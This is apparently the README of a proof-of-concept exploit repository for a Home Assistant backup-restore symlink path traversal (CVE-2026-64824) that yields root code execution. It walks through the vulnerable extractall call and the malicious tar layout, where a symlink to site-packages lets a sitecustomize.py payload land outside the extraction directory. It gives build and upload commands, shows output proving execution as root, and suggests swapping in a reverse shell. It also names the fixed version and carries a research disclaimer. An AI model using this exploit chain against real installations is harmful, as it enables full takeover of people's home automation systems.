
CVE-2026-64824 — Home Assistant 备份-恢复符号链接路径遍历 → 根级 RCE。首个可用的 PoC,已在真实 HA 2026.5.4 上验证(sitecustomize.py 覆盖)。GHSA-cwh8-w64c-4j5h
CVSS 8.4(严重) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
经过身份验证的(管理员)攻击者上传精心构造的备份 tar 包。恢复路径使用 filter="fully_trusted" 解压内部的 homeassistant.tar.gz,并且只校验成员的名称 — 从不校验 SYMTYPE 的链接名。指向绝对路径(例如 Python 的 site-packages/)的符号链接会被保留,因此随后写入的 sitecustomize.py 会以 root 身份落在解压目录之外(官方 Docker 镜像以 root 运行 HA)。下次 Python 启动时它会被自动导入 → 以 root 身份实现 RCE。
✅ 真实 Home Assistant Core 2026.5.4(Docker、arm64、Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py 已被写入到 /usr/local/lib/python3.14/site-packages/(root 所有)
✅ 反向验证:Python 3.14.5 的 tarfile 会拒绝绝对符号链接(FileExistsError);Python 3.14.2(随 HA 2026.5.x 发布)会将其解压 — 这就是旧版本可利用的原因。已在 HA 2026.7.0 中修复。
homeassistant/backup_restore.py(约 v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() 会拒绝绝对名称和 .. 路径穿越,但具有良性名称 + 绝对链接名的 SYMTYPE 成员会原样通过过滤器,而 fully_trusted 会告知 tarfile 不要对其进行审查。
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
备份格式(v2,与真实 HA 备份一致):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
任何 Python 进程启动(HA 重启、容器内执行 python3 ...)都会触发 sitecustomize.py — 它会以 root 身份执行 id > /tmp/HA_PWNED_64824。将 payload 替换为反弹 shell 即可获得完全控制权。
升级到 HA 2026.7.0+(恢复功能现在使用严格的 tar 过滤器,拒绝逃逸出解压目录的符号链接条目)。
仅用于研究与教育目的。该漏洞已被披露(GHSA-cwh8-w64c-4j5h)并于 2026.7.0 中修复;本仓库旨在为防御者和研究人员演示攻击链。